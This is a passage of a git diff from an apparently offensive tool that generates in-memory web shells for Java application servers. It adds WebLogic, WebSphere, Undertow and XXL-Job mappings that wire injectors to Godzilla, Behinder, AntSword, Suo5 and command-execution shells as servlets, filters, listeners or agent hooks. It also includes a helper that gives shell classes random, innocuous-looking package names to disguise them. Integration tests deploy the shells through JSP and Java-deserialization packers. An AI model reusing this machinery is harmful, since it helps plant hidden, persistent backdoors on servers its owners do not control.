ShellCommonUtil.getFieldValue(map.get(key), "servletResponse"); + break; + } + } + } + } + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(SERVLET, UndertowServletInjector.class) + .addInjector(JAKARTA_SERVLET, UndertowServletInjector.class) + .addInjector(FILTER, UndertowFilterInjector.class) + .addInjector(JAKARTA_FILTER, UndertowFilterInjector.class) + .addInjector(LISTENER, UndertowListenerInjector.class) + .addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class) + .addInjector(AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class) + .build(); + } + + @Override + protected void init() { + + Class commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command); + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(SERVLET, CommandServlet.class) + .addShellClass(JAKARTA_SERVLET, CommandServlet.class) + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(JAKARTA_FILTER, CommandFilter.class) + .addShellClass(LISTENER, commandListenerClass) + .addShellClass(JAKARTA_LISTENER, commandListenerClass) + .addShellClass(AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class) + .build()); + + Class godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla); + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(SERVLET, GodzillaServlet.class) + .addShellClass(JAKARTA_SERVLET, GodzillaServlet.class) + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(JAKARTA_FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, godzillaListenerClass) + .addShellClass(JAKARTA_LISTENER, godzillaListenerClass) + .addShellClass(AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class) + .build()); + + Class behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder); + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(SERVLET, BehinderServlet.class) + .addShellClass(JAKARTA_SERVLET, BehinderServlet.class) + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(JAKARTA_FILTER, BehinderFilter.class) + .addShellClass(LISTENER, behinderListenerClass) + .addShellClass(JAKARTA_LISTENER, behinderListenerClass) + .addShellClass(AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class) + .build()); + + Class suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5); + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(SERVLET, Suo5Servlet.class) + .addShellClass(JAKARTA_SERVLET, Suo5Servlet.class) + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(JAKARTA_FILTER, Suo5Filter.class) + .addShellClass(LISTENER, suo5ListenerClass) + .addShellClass(JAKARTA_LISTENER, suo5ListenerClass) + .build()); + + Class antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword); + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(SERVLET, AntSwordServlet.class) + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, antSwordListenerClass) + .addShellClass(AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class) + .build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java new file mode 100644 index 00000000..6a8eb6d3 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java @@ -0,0 +1,79 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector; +import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector; +import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector; +import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +public class WebLogicShell extends AbstractShell { + public static final String AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(SERVLET, WebLogicServletInjector.class) + .addInjector(FILTER, WebLogicFilterInjector.class) + .addInjector(LISTENER, WebLogicListenerInjector.class) + .addInjector(AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class) + .build(); + } + + @Override + protected void init() { + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(SERVLET, CommandServlet.class) + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command)) + .addShellClass(AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(SERVLET, GodzillaServlet.class) + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla)) + .addShellClass(AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(SERVLET, BehinderServlet.class) + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder)) + .addShellClass(AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(SERVLET, Suo5Servlet.class) + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5)) + .build()); + + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(SERVLET, AntSwordServlet.class) + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword)) + .addShellClass(AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class) + .build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java new file mode 100644 index 00000000..98be61e3 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java @@ -0,0 +1,90 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector; +import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector; +import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector; +import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.implementation.bytecode.assign.Assigner; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class WebSphereShell extends AbstractShell { + public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager"; + + public static class ListenerInterceptor { + + @Advice.OnMethodExit + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connContext"), "_response"); + } + } + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(SERVLET, WebSphereServletInjector.class) + .addInjector(FILTER, WebSphereFilterInjector.class) + .addInjector(LISTENER, WebSphereListenerInjector.class) + .addInjector(AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class) + .build(); + } + + @Override + protected void init() { + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(SERVLET, CommandServlet.class) + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command)) + .addShellClass(AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(SERVLET, GodzillaServlet.class) + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla)) + .addShellClass(AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(SERVLET, BehinderServlet.class) + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder)) + .addShellClass(AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class) + .build()); + + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(SERVLET, Suo5Servlet.class) + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5)) + .build()); + + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(SERVLET, AntSwordServlet.class) + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword)) + .addShellClass(AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class) + .build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/XxlJobShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/XxlJobShell.java new file mode 100644 index 00000000..67f6f320 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/XxlJobShell.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler; +import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler; +import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class XxlJobShell extends AbstractShell { + public static final String NETTY_HANDLER = "NettyHandler"; + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(NETTY_HANDLER, XxlJobNettyHandlerInjector.class) + .build(); + } + + @Override + protected void init() { + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(NETTY_HANDLER, CommandNettyHandler.class).build()); + + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class).build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java index aa0fb5db..1c3673c5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.utils; -import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.Server; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; @@ -100,17 +100,38 @@ public class CommonUtil { } public static String generateShellClassName(Server server, String shellType) { - String packageName = switch (server) { - case Jetty -> "org.eclipse.jetty.servlet.handlers"; - case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers"; - case SpringWebMvc -> "org.springframework.boot.mvc.handlers"; - case SpringWebFlux -> "org.springframework.boot.webflux.handlers"; - case WebSphere -> "com.ibm.ws.webcontainer.handlers"; - case WebLogic -> "weblogic.servlet.internal.handlers"; - case Resin -> "com.caucho.server.dispatch.handlers"; - case BES -> "com.bes.enterprise.webtier.web.handlers"; - default -> "org.apache.http.web.handlers"; - }; + String packageName; + switch (server) { + case Jetty: + packageName = "org.eclipse.jetty.servlet.handlers"; + break; + case Undertow: + case JBossEAP7: + case WildFly: + packageName = "io.undertow.servlet.handlers"; + break; + case SpringWebMvc: + packageName = "org.springframework.boot.mvc.handlers"; + break; + case SpringWebFlux: + packageName = "org.springframework.boot.webflux.handlers"; + break; + case WebSphere: + packageName = "com.ibm.ws.webcontainer.handlers"; + break; + case WebLogic: + packageName = "weblogic.servlet.internal.handlers"; + break; + case Resin: + packageName = "com.caucho.server.dispatch.handlers"; + break; + case BES: + packageName = "com.bes.enterprise.webtier.web.handlers"; + break; + default: + packageName = "org.apache.http.web.handlers"; + break; + } return packageName + "." + getRandomString(5) + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java new file mode 100644 index 00000000..ed9f4d6f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java @@ -0,0 +1,29 @@ +package com.reajason.javaweb.memshell.utils; + +import java.lang.reflect.Field; + +/** + * @author ReaJason + * @since 2025/2/22 + */ +public class ShellCommonUtil { + + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java index fcdfd12c..3e7eaaca 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java @@ -1,5 +1,8 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.utils.CommonUtil; @@ -23,7 +26,7 @@ class GodzillaGeneratorTest { ShellConfig shellConfig = ShellConfig.builder() .server(Server.Tomcat) .shellTool(ShellTool.Godzilla) - .shellType(Constants.SERVLET) + .shellType(ShellType.SERVLET) .targetJreVersion(Opcodes.V1_6) .debug(true) .build(); diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/spel/SpELPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/spel/SpELPackerTest.java deleted file mode 100644 index 4e2de3bf..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/spel/SpELPackerTest.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.reajason.javaweb.memshell.packer.spel; - -import com.alibaba.fastjson2.JSON; -import com.alibaba.fastjson2.JSONWriter; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.AggregatePacker; -import com.reajason.javaweb.memshell.packer.Packers; -import org.junit.jupiter.api.Test; - -import java.util.Map; - -/** - * @author ReaJason - * @since 2025/1/26 - */ -class SpELPackerTest { - - @Test - void pack() { - GenerateResult generateResult = GenerateResult.builder() - .injectorClassName("name") - .injectorBytes("name".getBytes()).build(); - AggregatePacker spELPacker = (AggregatePacker) Packers.SpEL.getInstance(); - Map stringStringMap = spELPacker.packAll(generateResult); - System.out.println(JSON.toJSONString(stringStringMap, JSONWriter.Feature.PrettyFormat)); - } -} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java index 8c648ea2..3402e2e1 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.memshell.tomcat.command; import com.reajason.javaweb.memshell.config.CommandConfig; -import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.generator.CommandGenerator; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -24,9 +24,9 @@ class CommandFilterTest { static Stream casesProvider() { return Stream.of( - arguments(Constants.FILTER, CommandFilter.class, "org.apache.utils.CommandFilter"), - arguments(Constants.LISTENER, CommandListener.class, "org.apache.utils.CommandListener"), - arguments(Constants.VALVE, CommandValve.class, "org.apache.utils.CommandValve") + arguments(ShellType.FILTER, CommandFilter.class, "org.apache.utils.CommandFilter"), + arguments(ShellType.LISTENER, CommandListener.class, "org.apache.utils.CommandListener"), + arguments(ShellType.VALVE, CommandValve.class, "org.apache.utils.CommandValve") ); } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java index 0f5606ad..da534a95 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.tomcat.godzilla; -import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.generator.GodzillaGenerator; @@ -32,9 +32,9 @@ class GodzillaTest { static Stream casesProvider() { return Stream.of( - arguments(Constants.FILTER, GodzillaFilter.class, "org.apache.utils.GodzillaFilter"), - arguments(Constants.LISTENER, GodzillaListener.class, "org.apache.utils.GodzillaListener"), - arguments(Constants.VALVE, GodzillaValve.class, "org.apache.utils.GodzillaValve") + arguments(ShellType.FILTER, GodzillaFilter.class, "org.apache.utils.GodzillaFilter"), + arguments(ShellType.LISTENER, GodzillaListener.class, "org.apache.utils.GodzillaListener"), + arguments(ShellType.VALVE, GodzillaValve.class, "org.apache.utils.GodzillaValve") ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index ecd22cf1..c8491c3d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -1,13 +1,16 @@ package com.reajason.javaweb.integration; -import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.GeneratorMain; import com.reajason.javaweb.antsword.AntSwordManager; import com.reajason.javaweb.behinder.BehinderManager; import com.reajason.javaweb.godzilla.GodzillaManager; -import com.reajason.javaweb.memshell.SpringWebFluxShell; -import com.reajason.javaweb.memshell.SpringWebMvcShell; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.server.SpringWebFluxShell; +import com.reajason.javaweb.memshell.server.SpringWebMvcShell; import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.packer.jar.JarPacker; import com.reajason.javaweb.suo5.Suo5Manager; import lombok.SneakyThrows; @@ -48,7 +51,7 @@ public class ShellAssertionTool { String shellUrl = url + "/test"; String urlPattern = null; - if (shellType.endsWith(Constants.SERVLET) + if (shellType.endsWith(ShellType.SERVLET) || shellType.endsWith(SpringWebMvcShell.CONTROLLER_HANDLER) || shellType.equals(SpringWebFluxShell.HANDLER_METHOD) || shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index 45dc65c3..e49cc5e3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -49,44 +49,44 @@ public class GlassFish3ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, 